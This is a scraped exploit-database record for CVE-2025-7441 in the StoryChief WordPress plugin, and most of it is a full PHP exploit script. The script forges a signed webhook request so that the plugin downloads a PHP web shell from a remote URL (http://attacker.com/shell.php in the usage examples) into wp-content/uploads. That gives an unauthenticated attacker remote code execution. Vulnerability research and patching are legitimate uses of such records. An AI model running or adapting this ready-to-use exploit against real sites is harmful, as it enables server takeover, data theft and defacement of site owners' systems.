{“lastseen”:”2025-12-09T17:44:18″,”description”:”A critical security vulnerability exists in WordPress Story Chief plugin version 1.0.42 that allows unauthenticated attackers to achieve remote code execution by exploiting the webhook featured image functionality…”,”published”:”2025-12-09T00:00:00″,”modified”:”2025-12-09T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 WordPress StoryChief 1.0.42 Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:212608″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-7441″],”sourceData”:”=============================================================================================================================================\\n | # Title : WordPress StoryChief 1.0.42 Unauthenticated Remote Code Execution via Featured Image |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 145.0.1 (64 bits) |\\n | # Vendor : https:\/\/wordpress.org\/plugins\/story-chief\/ |\\n =============================================================================================================================================\\n \\n POC : \\n \\n [+] References : https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2025-7441 \\n \\n https:\/\/packetstorm.news\/files\/id\/210218\/\\n \\n https:\/\/wpscan.com\/vulnerability\/12349\\n \\n [+] Summary\\n \\n A critical security vulnerability exists in the WordPress Story Chief plugin that allows unauthenticated attackers to achieve remote code execution by exploiting the webhook featured image functionality. \\n \\tThe vulnerability enables attackers to inject and execute arbitrary PHP code through crafted POST requests.\\n \\t\\n \\tThe vulnerability exists in the Story Chief plugin’s webhook endpoint that handles post creation from external sources. \\n \\tThe plugin fails to properly validate and sanitize featured image URLs, allowing attackers to:\\n \\n 1. Bypass authentication via the webhook interface\\n 2. Inject malicious PHP files through featured image URLs\\n 3. Execute arbitrary code on the target server\\n 4. Achieve complete system compromise\\n \\n [+] Usage: \\n \\n Usage: php poc.php -u https:\/\/example.com -shell http:\/\/attacker.com\/shell.jpg\\n \\n [+] POC :\\n \\n \\u003c?php\\n \/**\\n * CVE-2025-7441 Exploit – Story Chief WordPress Plugin RCE\\n * By: indoushka\\n *\/\\n \\n class StoryChiefExploit {\\n private $debug = false;\\n \\n public function __construct($debug = false) {\\n $this-\\u003edebug = $debug;\\n }\\n \\n private function log($message, $level = \\”INFO\\”) {\\n echo \\”[$level] $message\\\\n\\”;\\n }\\n \\n private function debugLog($message) {\\n if ($this-\\u003edebug) {\\n echo \\”[DEBUG] $message\\\\n\\”;\\n }\\n }\\n \\n public function parseArgs($argv) {\\n $options = [\\n ‘url’ =\\u003e ”,\\n ‘shell’ =\\u003e ”,\\n ‘key’ =\\u003e ”,\\n ‘header’ =\\u003e [],\\n ‘timeout’ =\\u003e 15,\\n ‘retries’ =\\u003e 2,\\n ‘backoff’ =\\u003e 0.5,\\n ‘proxy’ =\\u003e ”,\\n ‘no_verify’ =\\u003e false,\\n ‘print_only’ =\\u003e false,\\n ‘use_curl’ =\\u003e false,\\n ‘debug’ =\\u003e false,\\n ‘title’ =\\u003e ‘Test post’,\\n ‘excerpt’ =\\u003e ”\\n ];\\n \\n for ($i = 1; $i \\u003c count($argv); $i++) {\\n switch ($argv[$i]) {\\n case ‘-u’:\\n case ‘–url’:\\n $options[‘url’] = $argv[++$i];\\n break;\\n case ‘-shell’:\\n $options[‘shell’] = $argv[++$i];\\n break;\\n case ‘-k’:\\n case ‘–key’:\\n $options[‘key’] = $argv[++$i];\\n break;\\n case ‘–header’:\\n $options[‘header’][] = $argv[++$i];\\n break;\\n case ‘–timeout’:\\n $options[‘timeout’] = (int)$argv[++$i];\\n break;\\n case ‘–retries’:\\n $options[‘retries’] = (int)$argv[++$i];\\n break;\\n case ‘–backoff’:\\n $options[‘backoff’] = (float)$argv[++$i];\\n break;\\n case ‘–proxy’:\\n $options[‘proxy’] = $argv[++$i];\\n break;\\n case ‘–no-verify’:\\n $options[‘no_verify’] = true;\\n break;\\n case ‘–print-only’:\\n $options[‘print_only’] = true;\\n break;\\n case ‘–use-curl’:\\n $options[‘use_curl’] = true;\\n break;\\n case ‘–debug’:\\n $options[‘debug’] = true;\\n $this-\\u003edebug = true;\\n break;\\n case ‘–title’:\\n $options[‘title’] = $argv[++$i];\\n break;\\n case ‘–excerpt’:\\n $options[‘excerpt’] = $argv[++$i];\\n break;\\n case ‘–help’:\\n $this-\\u003eshowHelp();\\n exit(0);\\n }\\n }\\n \\n if (empty($options[‘url’]) || empty($options[‘shell’])) {\\n $this-\\u003elog(\\”Error: URL and shell parameters are required\\”, \\”ERROR\\”);\\n $this-\\u003eshowHelp();\\n exit(1);\\n }\\n \\n return $options;\\n }\\n \\n private function showHelp() {\\n echo \\”CVE-2025-7441 Exploit – Story Chief WordPress Plugin RCE\\\\n\\”;\\n echo \\”Usage: php exploit.php -u \\u003curl\\u003e -shell \\u003cshell_url\\u003e [options]\\\\n\\\\n\\”;\\n echo \\”Options:\\\\n\\”;\\n echo \\” -u, –url Webhook URL or site root (required)\\\\n\\”;\\n echo \\” -shell Shell\/image URL to include as featured image (required)\\\\n\\”;\\n echo \\” -k, –key Encryption key (hex). Leave empty for default\\\\n\\”;\\n echo \\” –header Custom header, format: Key:Value\\\\n\\”;\\n echo \\” –timeout Request timeout seconds (default: 15)\\\\n\\”;\\n echo \\” –retries Retry attempts on failure (default: 2)\\\\n\\”;\\n echo \\” –backoff Backoff factor between retries (default: 0.5)\\\\n\\”;\\n echo \\” –proxy HTTP\/HTTPS proxy URL\\\\n\\”;\\n echo \\” –no-verify Disable SSL verification\\\\n\\”;\\n echo \\” –print-only Print payload only; do not send\\\\n\\”;\\n echo \\” –use-curl Force use of curl instead of file_get_contents\\\\n\\”;\\n echo \\” –debug Print debug info\\\\n\\”;\\n echo \\” –title Post title (default: Test post)\\\\n\\”;\\n echo \\” –excerpt Post excerpt\\\\n\\”;\\n echo \\” –help Show this help\\\\n\\\\n\\”;\\n echo \\”Examples:\\\\n\\”;\\n echo \\” php exploit.php -u https:\/\/example.com -shell http:\/\/attacker.com\/shell.jpg\\\\n\\”;\\n echo \\” php exploit.php -u https:\/\/example.com -shell http:\/\/attacker.com\/shell.php –debug\\\\n\\”;\\n }\\n \\n private function normalizeWebhookUrl($url) {\\n $parsed = parse_url($url);\\n \\n if (empty($parsed[‘scheme’]) || empty($parsed[‘host’])) {\\n throw new Exception(\\”invalid_url\\”);\\n }\\n \\n if (empty($parsed[‘path’]) || $parsed[‘path’] === ‘\/’) {\\n $parsed[‘path’] = ‘\/wp-json\/storychief\/webhook’;\\n }\\n \\n $scheme = $parsed[‘scheme’];\\n $host = $parsed[‘host’];\\n $port = isset($parsed[‘port’]) ? ‘:’ . $parsed[‘port’] : ”;\\n $path = $parsed[‘path’];\\n \\n return \\”$scheme:\/\/$host$port$path\\”;\\n }\\n \\n private function validateShellUrl($shellUrl) {\\n $parsed = parse_url($shellUrl);\\n \\n if (empty($parsed[‘scheme’]) || empty($parsed[‘host’])) {\\n throw new Exception(\\”invalid_shell_url\\”);\\n }\\n \\n return $parsed;\\n }\\n \\n private function extractFilename($shellParsed) {\\n $name = basename($shellParsed[‘path’]);\\n if (empty($name)) {\\n $name = \\”shell.php\\”;\\n }\\n return $name;\\n }\\n \\n private function checkShellUrl($shellUrl, $timeout) {\\n $context = stream_context_create([\\n ‘http’ =\\u003e [‘timeout’ =\\u003e $timeout],\\n ‘ssl’ =\\u003e [‘verify_peer’ =\\u003e false, ‘verify_peer_name’ =\\u003e false]\\n ]);\\n \\n \/\/ Try HEAD first\\n $headers = @get_headers($shellUrl, 0, $context);\\n if ($headers \\u0026\\u0026 strpos($headers[0], ‘200’) !== false) {\\n $this-\\u003edebugLog(\\”shell HEAD status: 200\\”);\\n return true;\\n }\\n \\n \/\/ Try GET if HEAD failed\\n $content = @file_get_contents($shellUrl, false, $context);\\n if ($content !== false) {\\n $this-\\u003edebugLog(\\”shell GET successful\\”);\\n return true;\\n }\\n \\n \/\/ Fallback to curl if available\\n if (function_exists(‘curl_init’)) {\\n $ch = curl_init();\\n curl_setopt_array($ch, [\\n CURLOPT_URL =\\u003e $shellUrl,\\n CURLOPT_NOBODY =\\u003e true,\\n CURLOPT_TIMEOUT =\\u003e $timeout,\\n CURLOPT_RETURNTRANSFER =\\u003e true,\\n CURLOPT_SSL_VERIFYPEER =\\u003e false,\\n CURLOPT_FOLLOWLOCATION =\\u003e true\\n ]);\\n \\n curl_exec($ch);\\n $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n curl_close($ch);\\n \\n if ($httpCode === 200) {\\n $this-\\u003edebugLog(\\”shell CURL status: 200\\”);\\n return true;\\n }\\n }\\n \\n return false;\\n }\\n \\n private function buildPayload($title, $shellUrl, $excerpt) {\\n return [\\n \\”meta\\” =\\u003e [\\”event\\” =\\u003e \\”publish\\”],\\n \\”data\\” =\\u003e [\\n \\”title\\” =\\u003e $title,\\n \\”excerpt\\” =\\u003e $excerpt,\\n \\”featured_image\\” =\\u003e [\\n \\”data\\” =\\u003e [\\n \\”sizes\\” =\\u003e [\\”full\\” =\\u003e $shellUrl],\\n \\”alt\\” =\\u003e \\”demo shell\\”\\n ]\\n ]\\n ]\\n ];\\n }\\n \\n private function signPayload($payload, $keyBytes) {\\n $signed = json_encode($payload, JSON_UNESCAPED_SLASHES);\\n $signed = str_replace(‘\/’, ‘\\\\\\\\\/’, $signed);\\n \\n if (empty($keyBytes)) {\\n $mac = hash(‘sha256’, $signed);\\n } else {\\n $mac = hash_hmac(‘sha256’, $signed, $keyBytes);\\n }\\n \\n $payload[\\”meta\\”][\\”mac\\”] = $mac;\\n return array($signed, $mac);\\n }\\n \\n private function prepareHeaders($customHeaders) {\\n $headers = [\\”Content-Type: application\/json\\”];\\n \\n foreach ($customHeaders as $header) {\\n if (strpos($header, ‘:’) !== false) {\\n list($key, $value) = explode(‘:’, $header, 2);\\n $headers[] = trim($key) . ‘: ‘ . trim($value);\\n }\\n }\\n \\n return $headers;\\n }\\n \\n private function sendWithFileGetContents($url, $payload, $headers, $timeout, $verify) {\\n $opts = [\\n ‘http’ =\\u003e [\\n ‘method’ =\\u003e ‘POST’,\\n ‘header’ =\\u003e implode(\\”\\\\r\\\\n\\”, $headers),\\n ‘content’ =\\u003e json_encode($payload),\\n ‘timeout’ =\\u003e $timeout,\\n ‘ignore_errors’ =\\u003e true\\n ]\\n ];\\n \\n if (!$verify) {\\n $opts[‘ssl’] = [\\n ‘verify_peer’ =\\u003e false,\\n ‘verify_peer_name’ =\\u003e false\\n ];\\n }\\n \\n $context = stream_context_create($opts);\\n $response = @file_get_contents($url, false, $context);\\n \\n if ($response === false) {\\n return array(”, 0, array());\\n }\\n \\n $statusCode = 200;\\n if (isset($http_response_header[0])) {\\n preg_match(‘\/HTTP\\\\\/\\\\d\\\\.\\\\d\\\\s+(\\\\d+)\/’, $http_response_header[0], $matches);\\n $statusCode = isset($matches[1]) ? (int)$matches[1] : 200;\\n }\\n \\n return array($response, $statusCode, $http_response_header);\\n }\\n \\n private function sendWithCurl($url, $payload, $headers, $timeout, $verify) {\\n $ch = curl_init();\\n \\n $curlHeaders = [];\\n foreach ($headers as $header) {\\n $curlHeaders[] = $header;\\n }\\n \\n curl_setopt_array($ch, [\\n CURLOPT_URL =\\u003e $url,\\n CURLOPT_POST =\\u003e true,\\n CURLOPT_POSTFIELDS =\\u003e json_encode($payload),\\n CURLOPT_HTTPHEADER =\\u003e $curlHeaders,\\n CURLOPT_TIMEOUT =\\u003e $timeout,\\n CURLOPT_RETURNTRANSFER =\\u003e true,\\n CURLOPT_SSL_VERIFYPEER =\\u003e $verify,\\n CURLOPT_SSL_VERIFYHOST =\\u003e $verify ? 2 : 0,\\n CURLOPT_FOLLOWLOCATION =\\u003e true\\n ]);\\n \\n $response = curl_exec($ch);\\n $statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);\\n curl_close($ch);\\n \\n return array($response, $statusCode, array());\\n }\\n \\n private function handleResponseText($outText, $targetUrl) {\\n $out = trim($outText);\\n \\n if (empty($out) || strpos($out, ‘\\u003c’) === 0) {\\n return array(false, null);\\n }\\n \\n $json = json_decode($out, true);\\n if (json_last_error() !== JSON_ERROR_NONE) {\\n return array(false, null);\\n }\\n \\n \/\/ Search for permalink in response\\n $permalink = $this-\\u003efindFirstKey($json, array(\\”permalink\\”, \\”permalink_url\\”, \\”link\\”, \\”url\\”));\\n if ($permalink) {\\n return array(true, $permalink);\\n }\\n \\n \/\/ Search for post ID\\n $idVal = $this-\\u003efindFirstKey($json, array(\\”id\\”, \\”post_id\\”));\\n if ($idVal \\u0026\\u0026 (is_int($idVal) || is_numeric($idVal))) {\\n $pid = (int)$idVal;\\n $preview = $targetUrl . \\”\/?p=$pid\\u0026preview=true\\”;\\n return array(true, $preview);\\n }\\n \\n return array(true, null);\\n }\\n \\n private function findFirstKey($obj, $names) {\\n if (is_array($obj)) {\\n foreach ($obj as $k =\\u003e $v) {\\n if (in_array($k, $names) \\u0026\\u0026 is_string($v)) {\\n return $v;\\n }\\n \\n if (is_array($v)) {\\n $res = $this-\\u003efindFirstKey($v, $names);\\n if ($res !== null) {\\n return $res;\\n }\\n }\\n }\\n }\\n \\n return null;\\n }\\n \\n public function execute($args) {\\n try {\\n $key = empty($args[‘key’]) ? ” : hex2bin($args[‘key’]);\\n if ($key === false) {\\n $this-\\u003elog(\\”Error: invalid key\\”, \\”ERROR\\”);\\n return 1;\\n }\\n } catch (Exception $e) {\\n $this-\\u003elog(\\”Error: invalid key format\\”, \\”ERROR\\”);\\n return 1;\\n }\\n \\n try {\\n $targetUrl = $this-\\u003enormalizeWebhookUrl($args[‘url’]);\\n } catch (Exception $e) {\\n $this-\\u003elog(\\”Error: invalid URL\\”, \\”ERROR\\”);\\n return 1;\\n }\\n \\n try {\\n $shellParsed = $this-\\u003evalidateShellUrl($args[‘shell’]);\\n } catch (Exception $e) {\\n $this-\\u003elog(\\”Error: invalid shell URL\\”, \\”ERROR\\”);\\n return 1;\\n }\\n \\n $filename = $this-\\u003eextractFilename($shellParsed);\\n $shellOk = $this-\\u003echeckShellUrl($args[‘shell’], $args[‘timeout’]);\\n \\n if (!$shellOk) {\\n $this-\\u003elog(\\”Error: shell URL is not reachable (not HTTP 200)\\”, \\”ERROR\\”);\\n return 1;\\n }\\n \\n $payload = $this-\\u003ebuildPayload($args[‘title’], $args[‘shell’], $args[‘excerpt’]);\\n list($signed, $mac) = $this-\\u003esignPayload($payload, $key);\\n $headers = $this-\\u003eprepareHeaders($args[‘header’]);\\n \\n if ($args[‘print_only’]) {\\n if ($this-\\u003edebug) {\\n $this-\\u003edebugLog(\\”payload: \\” . json_encode($payload, JSON_PRETTY_PRINT));\\n }\\n echo json_encode($payload, JSON_PRETTY_UNICODE | JSON_PRETTY_PRINT) . \\”\\\\n\\”;\\n return 0;\\n }\\n \\n $verify = !$args[‘no_verify’];\\n \\n try {\\n if (function_exists(‘curl_init’) \\u0026\\u0026 $args[‘use_curl’]) {\\n list($outText, $statusCode, $respHeaders) = $this-\\u003esendWithCurl($targetUrl, $payload, $headers, $args[‘timeout’], $verify);\\n } else {\\n list($outText, $statusCode, $respHeaders) = $this-\\u003esendWithFileGetContents($targetUrl, $payload, $headers, $args[‘timeout’], $verify);\\n }\\n } catch (Exception $e) {\\n $this-\\u003edebugLog(\\”send error: \\” . $e-\\u003egetMessage());\\n $this-\\u003elog(\\”Error: request failed\\”, \\”ERROR\\”);\\n return 1;\\n }\\n \\n list($ok, $link) = $this-\\u003ehandleResponseText($outText, $args[‘url’]);\\n \\n if ($ok) {\\n $ym = date(‘Y\/m’);\\n $path = \\”wp-content\/uploads\/$ym\/$filename\\”;\\n $this-\\u003elog(\\”Uploaded: $path\\”, \\”SUCCESS\\”);\\n \\n if ($link) {\\n $this-\\u003elog(\\”Post URL: $link\\”, \\”INFO\\”);\\n }\\n \\n return 0;\\n } else {\\n if ($this-\\u003edebug) {\\n $this-\\u003edebugLog(\\”server response: \\” . substr($outText, 0, 1000));\\n }\\n $this-\\u003elog(\\”Error: upload failed or endpoint returned non-JSON\/HTML\\”, \\”ERROR\\”);\\n return 1;\\n }\\n }\\n }\\n \\n \/\/ Main execution\\n if (php_sapi_name() === ‘cli’) {\\n $exploit = new StoryChiefExploit();\\n $args = $exploit-\\u003eparseArgs($argv);\\n exit($exploit-\\u003eexecute($args));\\n } else {\\n echo \\”This script is intended for command line use only.\\\\n\\”;\\n }\\n ?\\u003e\\n \\n Greetings to :=====================================================================================\\n jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n ===================================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/212608″,”cvss”:{“score”:9.8,”severity”:”CRITICAL”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/212608\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2025-12-09T17:44:18″,”description”:”A critical security vulnerability exists in WordPress Story Chief plugin version 1.0.42 that allows unauthenticated attackers to achieve remote code execution by exploiting the webhook…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-29732","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n